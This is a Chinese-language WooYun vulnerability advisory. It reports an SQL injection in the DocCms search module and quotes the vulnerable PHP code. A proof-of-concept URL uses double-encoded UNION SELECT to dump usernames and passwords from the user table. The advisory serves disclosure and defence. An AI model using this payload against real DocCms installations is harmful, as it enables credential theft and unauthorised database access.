当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042738

漏洞标题:DocCms最新版sql注入漏洞

相关厂商:DocCms

漏洞作者: Matt

提交时间:2013-11-13 11:49

修复时间:2014-02-11 11:50

公开时间:2014-02-11 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-02-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

doccms 注入漏洞

详细说明:

content/search/index.php
function index()
{
global $db;
global $request;
global $params;
global $tag; // 标签数组
!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
$keyword = urldecode($request['keyword']);
省略若干
function get_search_result($modelName)
{
global $db,$request;
!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
$keyword = urldecode($request['keyword']);
switch($modelName)
{
case 'article':
$sql = "SELECT * FROM ".TB_PREFIX."article WHERE title LIKE '%".$keyword."%' OR content LIKE '%".$keyword."%' ORDER BY id DESC";
测试
http://127.0.0.1/doc/?f=search&m=index&keyword=%2527%20 %2555nion %2553elect concat(username,0x7c,pwd),concat(username,0x7c,pwd),concat(username,0x7c,pwd),concat(username,0x7c,pwd),5,6,7,concat(username,0x7c,pwd),9,10,11,12,13,14,15,16,17,18,19,20 from doc%255fuser %23
然后网页托到最下面就能看到信息了

漏洞证明:

QQ截图20131112193609.jpg

修复方案:

过滤

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝